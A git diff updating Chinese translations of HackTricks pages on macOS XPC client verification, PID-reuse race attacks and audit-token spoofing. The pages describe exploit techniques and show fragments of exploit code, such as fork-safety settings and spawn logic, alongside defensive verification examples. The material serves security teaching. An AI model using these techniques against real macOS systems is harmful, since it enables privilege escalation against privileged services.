||||||
|
|
||||||
* 你在一家 **网络安全公司** 工作吗?你想在 HackTricks 中看到你的 **公司广告**吗?或者你想获得 **PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持 HackTricks 的其他方式:
|
||||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏品 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## XPC 连接进程检查
|
## XPC 连接进程检查
|
||||||
|
|
||||||
当与 XPC 服务建立连接时,服务器将检查连接是否被允许。通常会执行以下检查:
|
当与 XPC 服务建立连接时,服务器将检查是否允许连接。通常会执行以下检查:
|
||||||
|
|
||||||
1. 检查连接的 **进程是否使用 Apple 签名的** 证书(仅由 Apple 颁发)。
|
1. 检查连接的**进程是否由苹果签名**的证书签名(只由苹果发放)。
|
||||||
* 如果未经验证,攻击者可以创建一个 **伪造的证书** 来匹配其他任何检查。
|
* 如果这个**未经验证**,攻击者可以创建一个**假证书**来匹配任何其他检查。
|
||||||
2. 检查连接的进程是否使用 **组织的证书** 进行签名(团队 ID 验证)。
|
2. 检查连接的进程是否由**组织的证书**签名(团队 ID 验证)。
|
||||||
* 如果未经验证,可以使用 Apple 的 **任何开发者证书** 进行签名并连接到服务。
|
* 如果这个**未经验证**,**任何苹果的开发者证书**都可以用来签名,并连接到服务。
|
||||||
3. 检查连接的进程是否包含 **正确的 Bundle ID**。
|
3. 检查连接的进程**是否包含正确的捆绑 ID**。
|
||||||
* 如果未经验证,可以使用由同一组织签名的任何工具与 XPC 服务进行交互。
|
* 如果这个**未经验证**,任何**由同一组织签名**的工具都可以用来与 XPC 服务交互。
|
||||||
4. (4 或 5)检查连接的进程是否具有 **正确的软件版本号**。
|
4. (4 或 5) 检查连接的进程是否有一个**正确的软件版本号**。
|
||||||
* 如果未经验证,即使其他检查已经通过,也可以使用旧的、存在安全漏洞的客户端进行连接到 XPC 服务的过程注入。
|
* 如果这个**未经验证**,旧的、不安全的客户端,容易受到进程注入攻击的客户端,即使其他检查到位,也可以用来连接到 XPC 服务。
|
||||||
5. (4 或 5)检查连接的进程是否具有带有危险权限的强化运行时(例如允许加载任意库或使用 DYLD 环境变量的权限)。
|
5. (4 或 5) 检查连接的进程是否启用了硬化运行时,没有危险的权限(比如允许加载任意库或使用 DYLD 环境变量的权限)
|
||||||
* 如果未经验证,客户端可能容易受到代码注入的攻击。
|
* 如果这个**未经验证**,客户端可能**容易受到代码注入攻击**
|
||||||
6. 检查连接的进程是否具有允许其连接到服务的 **entitlement**。这适用于 Apple 二进制文件。
|
6. 检查连接的进程是否有一个**权限**,允许它连接到服务。这适用于苹果的二进制文件。
|
||||||
7. **验证** 必须基于连接的 **客户端的审计令牌** 而不是其进程 ID(PID),因为前者可以防止 **PID 重用攻击**。
|
7. **验证**必须**基于**连接**客户端的审计令牌**,**而不是**它的进程 ID (**PID**),因为前者可以防止**PID 重用攻击**。
|
||||||
* 开发人员很少使用审计令牌 API 调用,因为它是 **私有的**,所以 Apple 可能随时 **更改**。此外,Mac App Store 应用程序不允许使用私有 API。
|
* 开发者**很少使用审计令牌** API 调用,因为它是**私有的**,所以苹果可以随时**更改**。此外,Mac App Store 应用不允许使用私有 API。
|
||||||
|
* 如果使用了方法 **`processIdentifier`**,它可能会受到攻击
|
||||||
|
* 应该使用 **`xpc_dictionary_get_audit_token`** 而不是 **`xpc_connection_get_audit_token`**,因为后者在某些情况下也可能[受到攻击](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)。
|
||||||
|
|
||||||
### 通信攻击
|
### 通信攻击
|
||||||
|
|
||||||
|
@ -46,11 +50,11 @@
|
||||||
|
|
||||||
### Trustcache - 防止降级攻击
|
### Trustcache - 防止降级攻击
|
||||||
|
|
||||||
Trustcache 是一种在 Apple Silicon 机器上引入的防御方法,它存储了 Apple 二进制文件的 CDHSAH 数据库,因此只有允许的非修改二进制文件才能执行。这可以防止执行降级版本。
|
Trustcache 是在苹果硅芯片机器中引入的一种防御方法,它存储了苹果二进制文件的 CDHSAH 数据库,因此只允许执行未修改的允许的二进制文件。这可以防止执行降级版本。
|
||||||
|
|
||||||
### 代码示例
|
### 代码示例
|
||||||
|
|
||||||
服务器将在名为 **`shouldAcceptNewConnection`** 的函数中实现此 **验证**。
|
服务器将在一个名为 **`shouldAcceptNewConnection`** 的函数中实现这个**验证**。
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
|
@ -61,9 +65,9 @@ return YES;
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
对象NSXPCConnection有一个**私有**属性**`auditToken`**(应该使用但可能会更改)和一个**公共**属性**`processIdentifier`**(不应该使用)。
|
对象 NSXPCConnection 有一个**私有**属性 **`auditToken`**(应该使用的,但可能会变化)和一个**公共**属性 **`processIdentifier`**(不应该使用的)。
|
||||||
|
|
||||||
可以使用以下方式验证连接的进程:
|
连接进程可以通过类似以下方式进行验证:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
|
@ -85,7 +89,9 @@ SecCodeCheckValidity(code, kSecCSDefaultFlags, requirementRef);
|
||||||
SecTaskRef taskRef = SecTaskCreateWithAuditToken(NULL, ((ExtendedNSXPCConnection*)newConnection).auditToken);
|
SecTaskRef taskRef = SecTaskCreateWithAuditToken(NULL, ((ExtendedNSXPCConnection*)newConnection).auditToken);
|
||||||
SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirementString))
|
SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirementString))
|
||||||
```
|
```
|
||||||
如果开发者不想检查客户端的版本,他至少可以检查客户端是否容易受到进程注入的攻击:
|
{% endcode %}
|
||||||
|
|
||||||
|
如果开发者不想检查客户端的版本,他至少可以检查客户端是否不易受到进程注入的攻击:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
|
@ -102,16 +108,16 @@ if ((csFlags & (cs_hard | cs_require_lv)) {
|
||||||
return Yes; // Accept connection
|
return Yes; // Accept connection
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
{% endcode %}
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习AWS黑客攻击直至成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* 你在一家 **网络安全公司** 工作吗?你想在 HackTricks 中看到你的 **公司广告**吗?或者你想获得 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持HackTricks的其他方式:
|
||||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获得 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 如果您希望在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我的 **推特** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,36 +2,38 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想获得**PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持 HackTricks 的其他方式:
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
|
* 如果您想在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
|
||||||
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## PID 重用
|
## PID 重用
|
||||||
|
|
||||||
当 macOS 的 **XPC 服务**基于 **PID** 而不是 **审计令牌**来检查被调用的进程时,它容易受到 PID 重用攻击。这种攻击基于一种**竞争条件**,其中一个**利用程序**将会**滥用**功能并在此之后执行**`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`**与**允许的二进制文件**。
|
当 macOS **XPC 服务**基于 **PID** 而不是 **audit token** 来检查被调用进程时,它容易受到 PID 重用攻击。这种攻击基于一种 **竞态条件**,其中 **exploit** 将向 XPC 服务**发送消息**,**滥用**功能,紧接着执行 **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** 与**允许**的二进制文件。
|
||||||
|
|
||||||
这个函数将使**允许的二进制文件拥有 PID**,但是**恶意的 XPC 消息将在之前被发送**。因此,如果 XPC 服务在执行**`posix_spawn`**之后使用 PID 来验证发送者并在验证之后检查它,它将认为它来自一个**授权的**进程。
|
这个函数将使**允许的二进制文件拥有 PID**,但**恶意 XPC 消息将在此之前发送**。因此,如果 **XPC** 服务**使用** **PID** 来**认证**发送者,并在执行 **`posix_spawn`** **之后**检查它,它会认为它来自一个**授权**的进程。
|
||||||
|
|
||||||
### 攻击示例
|
### Exploit 示例
|
||||||
|
|
||||||
如果你找到了函数**`shouldAcceptNewConnection`**或者被它调用的函数**调用了** **`processIdentifier`** 而没有调用**`auditToken`**。这很有可能意味着它正在验证进程的 PID 而不是审计令牌。\
|
如果您发现函数 **`shouldAcceptNewConnection`** 或由它**调用**的函数**调用** **`processIdentifier`** 而不是调用 **`auditToken`**。这很可能意味着它正在**验证进程 PID** 而不是审计令牌。\
|
||||||
就像这个例子中所示(来自参考资料):
|
例如在这张图片中(取自参考资料):
|
||||||
|
|
||||||
<figure><img src="../../../../../../.gitbook/assets/image (4) (1) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../../../../.gitbook/assets/image (4) (1) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
检查这个攻击示例(同样来自参考资料)以查看攻击的两个部分:
|
查看此示例 exploit(同样,取自参考资料)以查看 exploit 的两个部分:
|
||||||
|
|
||||||
* 生成多个分支的部分
|
* 一个**生成多个分支**
|
||||||
* **每个分支**将在发送消息后立即执行**`posix_spawn`**,将**负载**发送到 XPC 服务。
|
* **每个分支** 将在发送消息后立即执行 **`posix_spawn`**,同时**发送** **payload** 到 XPC 服务。
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
为了使攻击生效,重要的是要`export`` `**`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`**或将其放在攻击中:
|
为了使 exploit 起作用,重要的是要 `export`` `**`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`** 或在 exploit 中放入:
|
||||||
```objectivec
|
```objectivec
|
||||||
asm(".section __DATA,__objc_fork_ok\n"
|
asm(".section __DATA,__objc_fork_ok\n"
|
||||||
"empty:\n"
|
"empty:\n"
|
||||||
|
@ -41,7 +43,7 @@ asm(".section __DATA,__objc_fork_ok\n"
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="NSTasks" %}
|
{% tab title="NSTasks" %}
|
||||||
首选项使用 **`NSTasks`** 和参数来启动子进程以利用 RC 漏洞。
|
首个选项使用 **`NSTasks`** 和参数来启动子进程以利用RC
|
||||||
```objectivec
|
```objectivec
|
||||||
// from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
|
// from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
|
||||||
// gcc -framework Foundation expl.m -o expl
|
// gcc -framework Foundation expl.m -o expl
|
||||||
|
@ -147,8 +149,10 @@ create_nstasks();
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="fork" %}
|
{% tab title="fork" %}
|
||||||
这个例子使用原始的 **`fork`** 来启动**利用 PID 竞争条件的子进程**,然后通过硬链接利用**另一个竞争条件**:
|
此示例使用原始的 **`fork`** 来启动**将利用 PID 竞争条件的子进程**,然后通过**硬链接**利用**另一个竞争条件:**
|
||||||
```objectivec
|
```objectivec
|
||||||
// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
|
// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
|
||||||
// gcc -framework Foundation expl.m -o expl
|
// gcc -framework Foundation expl.m -o expl
|
||||||
|
@ -291,12 +295,14 @@ return 0;
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击!</strong></summary>
|
||||||
|
|
||||||
* 你在一个**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持HackTricks的其他方式:
|
||||||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,32 +2,34 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>从零开始学习 AWS 黑客攻击!</strong></summary>
|
||||||
|
|
||||||
* 如果你在**网络安全公司**工作,想在**HackTricks**上看到你的**公司广告**,或者想要访问**PEASS的最新版本或下载HackTricks的PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持 HackTricks 的其他方式:
|
||||||
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列。
|
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)。
|
* 如果您想在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
**此技术摘自** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
**此技术复制自** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||||
|
|
||||||
## Mach消息基础信息
|
## Mach 消息基础信息
|
||||||
|
|
||||||
如果你不知道Mach消息是什么,请先查看此页面:
|
如果您不知道什么是 Mach 消息,请先查看此页面:
|
||||||
|
|
||||||
{% content-ref url="../../../../mac-os-architecture/macos-ipc-inter-process-communication/" %}
|
{% content-ref url="../../../../mac-os-architecture/macos-ipc-inter-process-communication/" %}
|
||||||
[macos-ipc-inter-process-communication](../../../../mac-os-architecture/macos-ipc-inter-process-communication/)
|
[macos-ipc-inter-process-communication](../../../../mac-os-architecture/macos-ipc-inter-process-communication/)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
目前需要记住的是:
|
目前请记住:
|
||||||
Mach消息通过_mach端口_发送,这是内置在mach内核中的**单一接收者,多个发送者**通信渠道。**多个进程可以向mach端口发送消息**,但在任何时候**只有一个进程可以从中读取**。就像文件描述符和套接字一样,mach端口由内核分配和管理,进程只看到一个整数,他们可以用它来指示内核他们想要使用的mach端口。
|
Mach 消息是通过 _mach 端口_ 发送的,这是内置在 mach 内核中的**单一接收者、多个发送者通信**渠道。**多个进程可以向 mach 端口发送消息**,但在任何时候**只有一个进程可以从中读取**。就像文件描述符和套接字一样,mach 端口由内核分配和管理,进程只看到一个整数,他们可以用它来指示内核他们想使用哪个 mach 端口。
|
||||||
|
|
||||||
## XPC连接
|
## XPC 连接
|
||||||
|
|
||||||
如果你不知道如何建立XPC连接,请查看:
|
如果您不知道如何建立 XPC 连接,请查看:
|
||||||
|
|
||||||
{% content-ref url="../" %}
|
{% content-ref url="../" %}
|
||||||
[..](../)
|
[..](../)
|
||||||
|
@ -35,101 +37,104 @@ Mach消息通过_mach端口_发送,这是内置在mach内核中的**单一接
|
||||||
|
|
||||||
## 漏洞摘要
|
## 漏洞摘要
|
||||||
|
|
||||||
你需要知道的有趣之处在于,**XPC的抽象是一对一连接**,但它基于可以**有多个发送者**的技术,所以:
|
您需要知道的有趣之处在于,**XPC 的抽象是一对一连接**,但它基于的技术**可以有多个发送者,所以:**
|
||||||
|
|
||||||
* Mach端口是单一接收者,_**多个发送者**_。
|
* Mach 端口是单一接收者,_**多个发送者**_。
|
||||||
* XPC连接的审计令牌是从_**最近收到的消息中复制的**_。
|
* XPC 连接的审计令牌是从_**最近收到的消息中复制的**_ 审计令牌。
|
||||||
* 获取**审计令牌**对于许多**安全检查**至关重要。
|
* 获取 XPC 连接的**审计令牌**对许多**安全检查**至关重要。
|
||||||
|
|
||||||
尽管之前的情况听起来很有希望,但在某些情况下这不会引起问题:
|
尽管之前的情况听起来很有希望,但在某些情况下这不会引起问题:
|
||||||
|
|
||||||
* 审计令牌通常用于授权检查以决定是否接受连接。由于这是通过向服务端口发送消息来进行的,所以**还没有建立连接**。在此端口上的更多消息将仅作为额外的连接请求处理。因此,在接受连接之前的**任何检查都不会受到影响**(这也意味着在`-listener:shouldAcceptNewConnection:`中的审计令牌是安全的)。因此,我们正在**寻找验证特定操作的XPC连接**。
|
* 审计令牌通常用于授权检查以决定是否接受连接。由于这是使用消息发送到服务端口完成的,因此**尚未建立连接**。此端口上的更多消息将仅被视为额外的连接请求。因此,在接受连接之前的**任何检查都不会受到影响**(这也意味着在 `-listener:shouldAcceptNewConnection:` 中的审计令牌是安全的)。因此,我们**正在寻找验证特定操作的 XPC 连接**。
|
||||||
* XPC事件处理程序是同步处理的。这意味着在并发调度队列上,一个消息的事件处理程序必须完成后才能为下一个消息调用它。所以在**XPC事件处理程序内部,审计令牌不能被其他正常(非回复!)消息覆盖**。
|
* XPC 事件处理程序是同步处理的。这意味着在为下一个消息调用事件处理程序之前,必须完成一个消息的事件处理程序,即使在并发调度队列上也是如此。因此,在**XPC 事件处理程序内部,审计令牌不能被其他正常(非回复!)消息覆盖**。
|
||||||
|
|
||||||
这给了我们两种可能的方法:
|
这给了我们两种可能的方法:
|
||||||
|
|
||||||
1. 变体1:
|
1. 变体1:
|
||||||
* **利用**连接到服务**A**和服务**B**
|
* **利用** 连接到服务 **A** 和服务 **B**
|
||||||
* 服务**B**可以调用用户无法调用的服务**A**中的**特权功能**
|
* 服务 **B** 可以调用用户无法调用的服务 **A** 中的**特权功能**
|
||||||
* 服务**A**在**`dispatch_async`**中调用**`xpc_connection_get_audit_token`**时,_**不**_在事件处理程序内。
|
* 服务 **A** 在**不**在连接的**事件处理程序**内时调用 **`xpc_connection_get_audit_token`**,例如在 **`dispatch_async`** 中。
|
||||||
* 因此,一个**不同的**消息可能会**覆盖审计令牌**,因为它在事件处理程序外异步分派。
|
* 因此,一个**不同**的消息可能会**覆盖审计令牌**,因为它在事件处理程序外异步分派。
|
||||||
* 利用将**服务B的SEND权限传递给服务A**。
|
* 利用将**发送权利传递给服务 B**。
|
||||||
* 因此,服务**B**实际上将**发送**消息给服务**A**。
|
* 因此服务 **B** 实际上将**发送**消息给服务 **A**。
|
||||||
* **利用**尝试**调用**特权操作。在RC中,服务**A**在处理此**操作**时**检查**授权,而服务**B覆盖了审计令牌**(使利用能够调用特权操作)。
|
* **利用** 尝试**调用** **特权操作。** 在 RC 中服务 **A** **检查** 此**操作**的授权,同时**服务 B 覆盖了审计令牌**(使利用能够调用只有服务 B 才能请求的特权操作)。
|
||||||
2. 变体2:
|
2. 变体 2:
|
||||||
* 服务**B**可以调用用户无法调用的服务**A**中的**特权功能**
|
* 服务 **B** 可以调用用户无法调用的服务 **A** 中的**特权功能**
|
||||||
* 利用连接到**服务A**,后者**发送**期望在特定**回复**端口收到响应的消息给利用。
|
* 利用与**服务 A** 连接,**服务 A** **发送** 期望在特定**回复** **端口**收到响应的消息给利用。
|
||||||
* 利用向**服务B**发送消息,传递**那个回复端口**。
|
* 利用向**服务** B 发送消息,传递**那个回复端口**。
|
||||||
* 当服务**B回复**时,它**发送消息给服务A**,**同时**,**利用**发送不同的**消息给服务A**,试图**达到特权功能**,并期望服务B的回复将在完美时刻覆盖审计令牌(竞态条件)。
|
